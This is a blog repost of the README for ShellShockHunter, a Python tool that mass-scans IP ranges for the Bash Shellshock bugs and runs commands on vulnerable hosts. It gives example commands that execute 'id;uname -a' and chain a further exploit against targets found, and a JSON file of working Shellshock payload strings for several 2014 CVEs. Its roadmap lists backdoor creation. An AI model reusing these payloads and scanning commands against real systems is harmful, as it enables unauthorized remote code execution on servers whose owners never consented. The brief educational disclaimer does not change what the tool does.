ShellShockHunter – Tool For ShellShock Vulnerability Finder

Stella Sebastian
Posted by Stella Sebastian February 18, 2021

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shellshock

Shellshock (software bug)

Shellshock, also known as Bashdoor, is a family of security bugs in the Unix Bash shell, the first of which was disclosed on 24 September 2014. Shellshock could enable an attacker to cause Bash to execute arbitrary commands and gain unauthorized access to many Internet-facing services, such as web servers, that use Bash to process requests.

Disclaimer

This or previous program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that me (MrCl0wnLab) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not MrCl0wnLab’s responsibility.

Installation

Use the package manager pip

Pip

pip install shodan
pip install ipinfo

Help

python main.py --help

                        
                                          ,/
                                        ,'/
                                      ,' /
                                    ,'  /_____,
                                  .'____    ,'    
                                        /  ,'
                                      / ,'
                                      /,'
                                    /'
             ____  _     _____ _     _     ____  _      ___       _    
            / ___|| |__ |___ /| |   | |   / ___|| |__  / _ \  ___| | __
            \___ \| '_ \  |_ \| |   | |   \___ \| '_ \| | | |/ __| |/ /
             ___) | | | |___) | |___| |___ ___) | | | | |_| | (__|   < 
            |____/|_| |_|____/|_____|_____|____/|_| |_|\___/ \___|_|\_\
                     __   _   _             _              __                  
                    | _| | | | |_   _ _ __ | |_ ___ _ __  |_ |                 
                    | |  | |_| | | | | '_ \| __/ _ \ '__|  | |                 
                    | |  |  _  | |_| | | | | ||  __/ |     | |                 
                    | |  |_| |_|\__,_|_| |_|\__\___|_|     | |                 
                    |__|                                  |__| v1.0                
                      By: MrCl0wn / https://blog.mrcl0wn.com                                                                          
         
usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>] 
[--cmd-cgi <command shell>] [--exec-vuln <command shell>] [--thread <20>] 
[--check] [--ssl] [--cgi-file <cgi.txt>] [--timeout <5>] [--all] [--debug]

optional arguments:
  -h, --help                   show this help message and exit
  --file <ips.txt>             Input your target host lists
  --range <ip-start>,<ip-end>  Set range IP Eg.: 192.168.15.1,192.168.15.100
  --cmd-cgi <command shell>    Define shell command that will be executed in the payload
  --exec-vuln <command shell>  Executing commands on vulnerable targets
  --thread <20>, -t <20>       Eg. 20
  --check                      Check for shellshock vulnerability
  --ssl                        Enable request with SSL
  --cgi-file <cgi.txt>         Defines a CGI file to be used
  --timeout <5>                Set connection timeout
  --all                        Teste all payloads
  --debug, -d                  Enable debug mode

Command e.g:

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --range '194.206.187.X,194.206.187.XXX' --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' --all

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln 'curl -v -k -i "_TARGET_"'

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"'

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"' --debug

Prints:

DEMO

shellshock Demo

PROCESS

PROCESS

SPECIAL COMMAND ( –exec-vuln ‘echo "_TARGET_"‘ )

SPECIAL COMMAND

COMMAND ( –debug )

debug

Source file ( Exploits )

pwd: assets/exploits.json

{
    "DEFAULT":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271": 
        "() { :; }; echo _CHECKER_; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271-2":
        "() { :;}; echo '_CHECKER_' 'BASH_FUNC_x()=() { :;}; echo _CHECKER_' bash -c 'echo _COMMAND_'",
    "CVE-2014-6271-3":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_';echo _CHECKER_;",
    "CVE-2014-7169":
        "() { (a)=>\\' /bin/bash -c 'echo _CHECKER_'; cat echo",
    "CVE-2014-7186":
        "/bin/bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo '_CHECKER_, redir_stack'",
    "CVE-2014-7187":
        "(for x in {1..200} ; do echo \"for x$x in ; do :\"; done; for x in {1..200} ; do echo done ; done) | /bin/bash || echo '_CHECKER_, word_lineno'",
    "CVE-2014-6278":
        "() { _; } >_[$($())] { echo _CHECKER_; id; } /bin/bash -c '_COMMAND_'",
    "CVE-2014-6278-2":    
        "shellshocker='() { echo _CHECKER_; }' bash -c shellshocker",
    "CVE-2014-6277":
        "() { x() { _; }; x() { _; } <<a; } /bin/bash -c _COMMAND_;echo _CHECKER_",
    "CVE-2014-*":
        "() { }; echo _CHECKER_' /bin/bash -c '_COMMAND_'"
}

Source file ( Config )

pwd: assets/config.json

{
    "config": {
        "threads": 20,
        "path": {
            "path_output": "output/",
            "path_wordlist": "wordlist/",
            "path_modules": "modules/",
            "path_assets": "assets/"
        },
        "files_assets":{
            "config": "assets/config.json",
            "autor": "assets/autor.json",
            "exploits": "assets/exploits.json"
        },
        "api":{
            "shodan":"",
            "ipinfo":""
        }
    }
}

Tree

├── assets
│   ├── autor.json
│   ├── config.json
│   ├── exploits.json
│   └── prints
│       ├── banner.png
│       ├── print00.png
│       ├── print01.png
│       ├── print02.png
│       └── print03.png
├── LICENSE
├── main.py
├── modules
│   ├── banner_shock.py
│   ├── color_shock.py
│   ├── debug_shock.py
│   ├── file_shock.py
│   ├── __init__.py
│   ├── request_shock.py
│   ├── shodan_shock.py
│   └── thread_shock.py
├── output
│   └── vuln.txt
├── README.md
└── wordlist
    └── cgi.txt

Ref

 https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf
 https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29#CVE-2014-7186_and_CVE-2014-7187_Details
 https://blog.inurl.com.br/search?q=shellshock
 https://github.com/googleinurl/Xpl-SHELLSHOCK-Ch3ck/blob/master/xplSHELLSHOCK.php
 https://github.com/chelseakomlo/shellshock_demo
 https://github.com/xdistro/ShellShock/blob/master/shellshock_test.sh
 https://github.com/capture0x/XSHOCK/blob/master/main.py
 https://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html
 https://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high-risk.html
 https://github.com/BuddhaLabs/PacketStorm-Exploits/blob/master/1410-exploits/apachemodcgi-shellshock.txt
 https://github.com/gajos112/OSCP/blob/master/Shellshock.txt
 https://dl.packetstormsecurity.net/1606-exploits/sunsecuregdog-shellshock.txt
 http://stuff.ipsecs.com/files/ucs-shellshock_pl.txt
 https://github.com/opsxcq/exploit-CVE-2014-6271
 https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29#CVE-2014-7186_and_CVE-2014-7187_Details
 
Entenda o Shellshock, a falha no Bash tão grave quanto o Heartbleed

 https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit

Roadmap

I started this project to study a little more python and interact more with APIS like shodan and ipinfo.

  • Command line structure
  • Banner
  • File management class
  • HttpRequests management class
  • Thread management class
  • Source file for exploits
  • Color in process
  • Shell Exec on vulnerable targets
  • Process debug
  • Integration with ipinfo api
  • Integration with ipinfo api
  • Integration with telegram api
  • Backdoor creation
  • Visual filter
  • Header manipulation

Autor: MrCl0wn
Blog: http://blog.mrcl0wn.com
GitHub: https://github.com/MrCl0wnLab
Twitter: https://twitter.com/MrCl0wnLab
Email: mrcl0wnlab\@\gmail.com

Github Link
Memory Forensics

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